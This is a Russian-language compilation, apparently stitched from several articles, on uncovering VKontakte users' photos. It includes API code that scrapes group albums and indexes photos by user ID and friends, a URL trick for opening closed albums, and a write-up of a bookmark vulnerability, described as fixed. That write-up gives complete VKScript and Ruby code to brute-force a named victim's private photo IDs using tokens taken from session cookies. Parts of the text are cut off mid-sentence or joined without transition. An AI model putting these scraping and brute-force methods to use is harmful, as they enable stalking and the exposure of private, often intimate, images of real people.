ВКонтакте существует множество пабликов, таких как: 90-60-90, 40 КГ, Спортивные девушки. В данных пабликах пользователи выкладывают фотографии своих фигур, фотографии «до» и «после» диеты / занятия спортом и прочее. Общее количество фотографий в альбомах этих групп порой превышает десятки тысяч. Выкладывая фотографии, многие не задумываются о последствиях, наивно пологая что если кинуть свою фотку в тысячи подобных, то никто ее и не найдет. Под катом описан процесс поиска фотографий конкретного пользователя в группах.
Необходимо:
В контакте отсутствует метод прямого получения фотографий, опубликованных конкретным пользователем в конкретной группе. Однако, добиться нужного результата можно по следующей схеме:
1. Получаем список альбомов, используя метод photos.getAlbums:
VK.api("photos.getAlbums", { gid: gid }, function(result){ if (result.response){ // Список альбомов лежит в массиве result.response // Идентификатор альбома находится в поле aid }else{ // Не удалось получить список альбомов } });
2. Получаем список фотографий, находящихся в альбоме (aid), используя метод photos.get:
VK.api("photos.get", { gid: gid, aid: aid }, function(result){ if (result.response){ // Список фотографий лежит в массиве result.response // ID владельца фотографии содержится в поле owner_id // ID фотографии содержится в поле pid }else{ // Не удалось получить список фотографий в альбоме } });
3. Получаем URL фотографии, используя метод photos.getById
VK.api("photos.getById", { photos: pids }, function(result){ if(result.response){ for(var i=0; i Перебирать все группы довольно длительный процесс и запускать его каждый раз при поиске фотографии конкретного человека дело не целесообразно. Для ускорения поиска достаточно проиндексировать все фотографии путем добавления индекса во внутреннюю таблицу. После индексации групп, достаточно выполнить запрос SELECT * FROM table WHERE uid = uid
Используя метод friends.get, можно получить список друзей, а затем произвести поиск по БД с целью получения фотографий друзей: VK.api("friends.get", { user_id: uid }, function(result){ if(result.response){ // Далее производим поиск фотографий по ID друзей } });
Огромный сборник частных фотографий в ВК (около 100 млн.). Сервис собирает фото всех пользователей соц. сети в единый каталог. Найти фотографии того или иного пользователя просто - достаточно ввести его . А удалить сложно, если написать на e-mail создателям, то шанс невысокий, а, если внести пожертвования, то шанс повышается. Каким образом скотобаза собирает фотографии в ВК? Всё очень просто: сервис автоматически
загружает в сборник фотографии всех пользователей в онлайн режиме
. Неважно, где вы Выкладываете фото, в сообществе или профиле. Даже, если фото удалить через пару минут - оно уже будет в скотобазе. Поэтому много недовольных пользователей обратились в Роскомнадзор
, который поспособствовал тому, чтобы скотобаза была заблокирована
на территории Российской Федерации. Обход блокировки невозможен. Сбор и хранение личных данных пользователей запрещён
. Хотя пользователи сами выкладывают фотографии в публичный доступ. На данный момент сайт не работает
даже с прокси-серверах. Владельцы забросили дело сразу же после блокировки. Так что можете спать спокойно и не боятся, что кто-то посмотрим Ваши личные фотографии. В 2018 годах
были разные аналоги, типа "Спалили"
, но все они не работают, так как разработчики Вконтакте подкрутили скрипты, запрещающие ботам похищать частные фото. Внимание:
в интернете полно "аналогов"
скотобазы, но все они мало того, что не работают, но и являются причиной взлома аккаунта
! Если Вы наткнулись на подобные сайты ни в коем случае не вводите данные от Вконтакте
. Злоумышленники получат доступ к аккаунту и смогут . Эпоха скотобазы и подобных сервисов прошла. Теперь хранение и распространение интимных, частных фотографий под запретом. Если не соблюдать закон - последует наказание.
Как ускорить поиск?
В таблице достаточно содержать 3 поля:Поиск фотографий друзей
Ссылки
Аналоги Скотобазы
Часто случается, что позарез необходимо посмотреть фотографии закрытого профиля VK. Как известно, любой пользователь имеет возможность самостоятельно выбирать уровень приватности своего профиля, так что закрыть весь альбом, или отдельные фотографии – это дело нескольких кликов. Оказывается, смотреть закрытые фото можно! Есть определенные хитрости, и «дыры», об одной из которых мы вам сегодня и расскажем.
Имейте в виду, что все они оперативно закрываются, так что не факт, что этот, как и любой другой способ, будет действительный через неделю или месяц.
Вам понадобятся:
Для начала попытайтесь . Если альбомы не открываются, то действуем следующим образом. Итак, открываем профиль человека, чьи фотографии мы хотим посмотреть. Далее, нам нужно открыть исходный код этой страницы.
Для этого нажмите правой кнопкой мыши по свободной области, и в контекстном меню ищите пункт «Посмотреть исходный код страницы», «Просмотр кода элемента», или тому подобное. Также, можно воспользоваться клавишей F12, если у вас Google Chrome. Итак, перед нами исходный код страницы. Что дальше?
При помощи комбинации клавиш Ctrl+F открываем строку поиска, и вводим туда слово «albums».
Результатов будет несколько, но нам нужен тот, после которого будут идти цифры (это ID профиля). Как правило, в выдаче этот фрагмент будет третьим с начала. Нашли? Отлично, скопируйте их при помощи комбинации клавиш Ctrl+C.
Итак, мы имеем необходимый фрагмент кода. Что дальше? Для того, чтобы посмотреть скрытые фотографии в Контакте, вернитесь на необходимую страницу (страничка с исходным кодом нам больше не понадобиться).
В адресной строке браузера мы видим ссылку, типа vk.com/id#####, где #### – ID страницы. Вы должны знать, и друзей. Ставим курсор на конец адресной строки, и вводим в нее символы: «?z=», после чего копируем сюда тот фрагмент из исходного кода страницы, который мы искали.
В результате, в адресной строке браузера должно быть следующее: vk.com/id####?z=albums####, где #### – это ID человека.
Нажимаем Enter, и перед нами открываются все фотографии человека.
Таким нехитрым способом можно посмотреть фото в закрытом альбоме в контакте, а также увидеть список альбомов тех людей, кто удалился из друзей Вконтакте или незнакомых пользователей.
Как смотреть закрытый альбом пользователя вк через телефон?
Инструкция для просмотра такая же как и с компьютера.
Какие скрытые возможности вконтакте?
1. Если зайти в раздел "Настройки" и во вкладке "Общее" изменить язык на дореволюционный или советский, то интерфейс Вконтакте немного изменится.
2. Если хотите, чтобы на личной страничке некоторая информация о вас оставалась пустой, то добавьте в таких полях код.
3. Вы можете в графе "Место работы" сделать активную ссылку на любую группу Вконтакте. Для этого перейдите в раздел "Редактировать", выберите вкладку "Карьера" и в пункте "Место работы" напишите название сообщества, в котором состоите.
4. В разделе "Настройки" id можно поменять на короткий и запоминающийся адрес.
Какой сервис, чтобы смотреть скрытые фото в контакте?
Необходимо найти фотографию человека, на которой он отмечен, после чего перейти к ускоренному просмотру и пролистывать фото. Несмотря на то, что обыкновенный доступ к ним закрыт, просмотреть их удастся. Эту «дыру» техническая служба пока устранить не в состоянии.
Как посмотреть закрытый аккаунт в вк?
Для просмотра закрытого профиля требуется:
1. Узнать ID анкеты. наводим мышку на "Друзья ИМЯ". Копируем ссылку.
2. *[ссылка заблокирована по решению администрации проекта].
3. Цифры после "id=" и есть ID профиля.
Копируем эти цифры и вставляем в нужные ссылки.
Кому можно смотреть фотографии вконтакте?
В зависимости от того, кому вы дали доступ до ваших фото.
Как увидеть все фото в контакте?
Данная информация описана в статье.
Как посмотреть фото группы в контакте?
Найдите группу или страницу по интересам, затем выберите пункт чуть ниже поисковой строки «Сообщества». Потом чуть правее вы увидите «Тип сообщества» (поставьте отметку напротив: любой, группа, страница, встреча) и нажмите поиск. Откроется список групп, в которых выберите себе подходящие. Если группа открытая, вы без проблем сможете посмотреть все ее содержимое: аудио, видео, фото, обсуждения.
Если вы зашли на страницу закрытой группы, обратите внимание на верхний правый угол под фотографией. Там будет написано: «Подписаться» (на страницу) или «Подать заявку» (в группу).
Подождите некоторое время, так как ваша заявка рассматривается администраторами группы. Если они одобрят, то группа появится в списке на вашей странице. Теперь вы можете просматривать все содержимое группы.
tl;dr
Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.
При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.
В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео - это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.
Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:
Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!
Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.
Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX , которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.
Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом :
Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.
Var start = parseInt(Args.start);
var end = parseInt(Args.end);
var victimId = Args.id;
var link = "http://vk.com/photo" + victimId + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.
Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:
Class StandaloneAppsFinder
attr_reader:app_ids
def initialize(params)
@range = params[:in_range]
@app_ids =
end
def search
(@range).each do |app_id|
response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read
app = JSON.parse(response)["response"]
app_ids << app_id if standalone?(app)
end
end
private
def standalone?(app_data)
app_data["type"] == "standalone"
end
end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:
Но решил с этим не заморачиваться.
Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):
Class Authenticator
attr_reader:access_tokens
def initialize(cookie_header)
@cookies = { "Cookie" => cookie_header }
@access_tokens =
end
def authorize_apps(apps)
apps.each do |app_id|
auth_url = extract_auth_url_from(oauth_page(app_id))
redirect_url = open(auth_url, @cookies).base_uri.to_s
access_tokens << extract_token_from(redirect_url)
end
end
private
def extract_auth_url_from(oauth_page_html)
Nokogiri::HTML(oauth_page_html).css("form").attr("action").value
end
def extract_token_from(url)
URI(url).fragment
end
def oauth_page(app_id)
open(oauth_page_url(app_id), @cookies).read
end
def oauth_page_url(app_id)
"https://oauth.vk.com/authorize?" +
"client_id=#{app_id}&" +
"response_type=token&" +
"display=mobile&" +
"scope=474367"
end
end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:
Class PhotosBruteforcer
PHOTOS_ID_BY_PERIOD = {
"today" => 366300000..366500000,
"yesterday" => 366050000..366300000,
"current_month" => 365000000..366500000,
"last_month" => 360000000..365000000,
"current_year" => 350000000..366500000,
"last_year" => 320000000..350000000
}
def initialize(params)
@victim_id = params[:victim_id]
@period = PHOTOS_ID_BY_PERIOD]
end
def run(tokens)
hydra = Typhoeus::Hydra.new
tokensIterator = 0
(@period).step(25) do |photo_id|
url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}"
encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n")
tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1
hydra.queue Typhoeus::Request.new encoded_url
hydra.run if tokensIterator.zero?
end
hydra.run unless hydra.queued_requests.count.zero?
end
private
def vkscript(photo_id)
<<-VKScript
var start = #{photo_id};
var end = #{photo_id + 25};
var link = "http://vk.com/photo#{@victim_id}" + "_";
while(start != end) {
API.fave.addLink({ "link": link + start });
start = start + 1;
};
return start;
VKScript
end
end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD
запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented
.
Окончательная версия скрипта выглядит так:
Require "nokogiri"
require "open-uri"
require "typhoeus"
require "json"
require "./standalone_apps_finder"
require "./photos_bruteforcer"
require "./authenticator"
bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV)
apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500)
apps_finder.search
# p,l - cookies from login.vk.com
# remixsid - cookie from vk.com
authenticator = Authenticator.new("p=;" +
"l=;" +
"remixsid=;")
authenticator.authorize_apps(apps_finder.app_ids)
bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.
В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.
Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.